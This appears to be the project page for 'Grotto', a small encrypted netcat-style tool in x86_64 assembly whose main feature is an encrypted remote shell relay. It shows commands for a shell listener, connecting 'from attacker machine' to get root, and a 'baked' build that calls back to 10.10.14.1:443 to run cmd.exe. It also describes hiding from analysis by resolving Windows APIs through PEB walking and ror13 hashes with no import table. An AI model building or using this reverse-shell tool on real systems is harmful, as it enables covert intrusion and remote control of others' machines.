ChaCha20-Poly1305 AEAD encryption over TCP. Cross-platform Linux and Windows binaries in pure x86_64 NASM. Zero dependencies, zero imports, ~8 KB on disk.
# Generate 256-bit pre-shared key $ KEY=$(python3 -c "import secrets; print(secrets.token_hex(32))") # Listener with encrypted shell relay $ ./grotto -l -p 4444 -k $KEY -e /bin/sh [*] listening on 0.0.0.0:4444 [*] connection from 10.10.14.3 [*] shell relay active — encrypted bidirectional # Connect from attacker machine $ ./grotto -c 10.10.10.5 -p 4444 -k $KEY id uid=0(root) gid=0(root)
Full AEAD encryption, cross-platform assembly, shell relay, and zero dependencies in under 13 KB.
Full RFC 8439 ChaCha20-Poly1305 in pure x86_64 assembly. 256-bit pre-shared key, random 12-byte nonce per message, authenticated ciphertext. Tampered payloads silently rejected.
Linux ELF (~13 KB) and Windows PE (~8 KB) from shared crypto core. Same wire protocol — full interoperability between platforms.
All Windows APIs resolved at runtime via PEB walk and ror13 hash matching. No import table, no API name strings — 25 functions across kernel32, ws2_32, advapi32.
Linux binary uses direct syscall instructions. No libc, no dynamic linking, fully static ELF. Socket, bind, connect, poll — all via kernel interface.
Spawn cmd.exe or /bin/sh with stdin/stdout piped through the AEAD channel. Full bidirectional relay — every keystroke and response authenticated and encrypted.
Windows uses CreateThread with WaitForMultipleObjects for concurrent relay. Linux uses poll(2) for single-threaded multiplexed I/O.
Standard netcat-style modes. Listen for inbound connections or connect out to a target. Bidirectional encrypted relay on every byte.
Every byte hand-written in NASM. No compiler, no runtime, no dependencies.
Shared crypto core with platform-specific networking and I/O. ~3,800 lines of handwritten x86_64 NASM.
ChaCha20 quarter-round, block generation, stream XOR. Poly1305 mod 2^130-5 with 128-bit partial products. AEAD envelope per RFC 8439 Section 2.8. Shared between both platforms via .inc includes.
Linux: raw socket/bind/accept/connect syscalls. Windows: Winsock2 via PEB-resolved ws2_32.dll. Both support listen and connect modes with identical wire protocol.
Linux: poll(2) event loop multiplexing socket and stdin/pipe. Windows: CreateThread with dual worker threads and WaitForMultipleObjects for concurrent bidirectional relay.
Linux: fork/execve/dup2 with pipe redirection. Windows: CreateProcessA with STARTUPINFO pipe handles. Both pipe shell I/O through the AEAD channel.
NASM assembler + platform linker. Both targets build in under a second.
$ git clone https://github.com/Real-Fruit-Snacks/Grotto.git $ cd Grotto && make all # Or use the build script (generates random PSK) $ ./build.sh $ ls -la build/ grotto 13288 (Linux ELF) grotto.exe 8192 (Windows PE)
# Encrypted listener with shell $ ./grotto -l -p 4444 -k $KEY -e /bin/sh # Connect to encrypted listener $ ./grotto -c 10.10.10.5 -p 4444 -k $KEY # Pipe data through encrypted channel $ echo "secret" | ./grotto -c host -p 4444 -k $KEY # Baked build — zero CLI arguments $ ./build.sh --baked -c 10.10.14.1 -p 443 -e cmd.exe
strings — no API names, encrypted wire formatstrace, eBPF — syscall tracing reveals behavior